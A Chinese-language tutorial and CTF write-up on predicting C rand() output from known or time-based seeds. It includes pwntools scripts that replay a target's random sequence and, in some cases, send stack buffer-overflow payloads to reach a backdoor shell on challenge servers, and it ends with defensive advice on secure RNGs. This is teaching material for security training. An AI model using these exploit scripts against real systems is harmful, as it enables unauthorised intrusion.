伪随机数生成与绕过技术详解

1. C语言中的伪随机数生成函数

1.1 基本函数介绍

在C语言中，rand()和srand()函数用于生成伪随机数，定义在<stdlib.h>头文件中：

• srand()：初始化随机数生成器的种子

  • 接受一个unsigned int类型参数作为种子
  • 相同的种子会导致rand()生成相同的随机数序列
  • 常用当前时间作为种子：srand((unsigned int)time(NULL))

• rand()：生成伪随机数

  • 返回0到RAND_MAX之间的非负整数
  • RAND_MAX是一个宏定义，表示能生成的最大随机数

1.2 基本用法示例

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    // 初始化随机数生成器
    srand((unsigned int)time(NULL));
    
    // 生成随机数
    int random_number = rand();
    printf("随机数: %d\n", random_number);
    
    return 0;
}

1.3 生成指定范围的随机数

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    srand((unsigned int)time(NULL));
    
    // 生成1到10之间的随机数
    int random_number = rand() % 10 + 1;
    printf("1到10之间的随机数: %d\n", random_number);
    
    return 0;
}

2. 伪随机数的可预测性

伪随机数实际上是确定性算法生成的，只要知道种子，就能预测整个序列：

#include <stdio.h>
#include <stdlib.h>

int main() {
    int v1;
    srand(1);  // 固定种子
    
    for(int i=0; i<=98; i++) {
        v1 = (rand() % 100 + 1);
        printf("%d ", v1);
    }
    
    return 0;
}

每次运行这段代码，输出的随机数序列都是相同的。

3. 绕过伪随机数验证的技术

3.1 使用Python的ctypes库

ctypes库可以加载动态链接库，调用其中的函数来生成相同的随机数序列：

from pwn import *
from ctypes import *

p = remote("node5.anna.nssctf.cn", 29528)
my_libc = cdll.LoadLibrary("libc.so.6")
my_libc.srand(0x39)  # 设置相同的种子

# 生成与目标程序相同的随机数
payload1 = str(my_libc.rand()).encode("utf-8")
p.sendline(payload1)

# 后续攻击代码...

3.2 直接计算随机数

也可以直接用C语言计算随机数：

#include <stdio.h>
#include <stdlib.h>

int main() {
    srand(0x39);  // 设置相同的种子
    printf("%d", rand());  // 输出随机数
    return 0;
}

然后在Python脚本中使用这个值：

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = remote('node5.anna.nssctf.cn', 29388)

payload = b'a'*72 + p64(0x4008B2)
p.sendlineafter(b'name', b'1956681178')  # 使用计算出的随机数
p.sendlineafter(b'next?', payload)
p.interactive()

4. 实际CTF例题分析

4.1 例题1：真男人下120层

程序逻辑分析：

1. 获取当前时间作为种子：srand(time(0))
2. 生成随机数v4 = rand()
3. 用v4 % 3 - 1522127470作为新种子
4. 循环120次，每次需要猜对1-4的随机数

绕过代码：

from pwn import *
from ctypes import *

p = remote('node4.anna.nssctf.cn', 28052)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

# 模拟目标程序的随机数生成过程
libc.srand(libc.time(0))
shu = libc.rand() % 3 - 1522127470
libc.srand(shu)

# 生成120个1-4的随机数
for i in range(120):
    t = libc.rand() % 4 + 1
    p.sendline(str(t).encode())

p.interactive()

4.2 例题2：dice_game

程序逻辑分析：

1. 获取当前时间作为种子
2. 有缓冲区溢出漏洞
3. 需要猜对50次1-6的随机数

绕过代码：

from pwn import *
from ctypes import *

context.log_level = 'debug'
p = remote('61.147.171.105', 57855)
libc = cdll.LoadLibrary('./libc.so.6')

# 利用溢出漏洞
payload = b'a'*0x40 + p64(0)
p.sendlineafter('name', payload)

# 生成50个1-6的随机数
res = []
for i in range(50):
    res.append(libc.rand() % 6 + 1)

for point in res:
    p.sendlineafter('point(1~6):', str(point))

p.interactive()

4.3 例题3：ez_game

程序特点：

1. 需要猜对20000次1-7的随机数
2. 有时间限制（14秒）
3. 有后门函数

优化技巧：

• 预先计算所有随机数
• 不等待回显以节省时间

优化后的代码：

from pwn import *
from ctypes import *

context(os='linux', arch='amd64')
libc = cdll.LoadLibrary('./libc.so.6')

# 预先计算20001个随机数
libc.srand(1)
res = []
for i in range(20001):
    res.append(libc.rand() % 7 + 1)

# 连接并快速发送
p = remote('27.25.151.12', 33356)
p.sendlineafter('username:', b'a'*8)

for a in res:
    p.sendline(str(a))  # 不等待回显

p.interactive()

5. 总结与防御建议

5.1 攻击总结

1. 种子可预测：如果使用时间等可预测值作为种子，攻击者可以重现随机数序列
2. 种子固定：如果种子固定，随机数序列完全可预测
3. 绕过技术：
   • 使用相同的库和种子重现随机数序列
   • 对于时间种子，需要同步时间或爆破
   • 对于多层随机数生成，需要完整模拟整个生成过程

5.2 防御建议

1. 使用加密安全的随机数生成器：

   • Linux: /dev/random或/dev/urandom
   • Windows: CryptGenRandom
   • OpenSSL: RAND_bytes

2. 避免使用可预测的种子：

   • 不要单独使用时间作为种子
   • 可以组合多种熵源（时间、PID、RDTSC等）

3. 关键安全操作不要依赖伪随机数：

   • 密码学操作应使用专门的加密库
   • 重要随机数应从安全源获取

4. 代码审计时检查随机数使用：

   • 检查是否使用了不安全的随机数生成方式
   • 检查种子是否可预测或固定

通过理解伪随机数的生成原理和绕过技术，安全人员可以更好地审计代码中的随机数使用，开发者也可以编写更安全的随机数生成代码。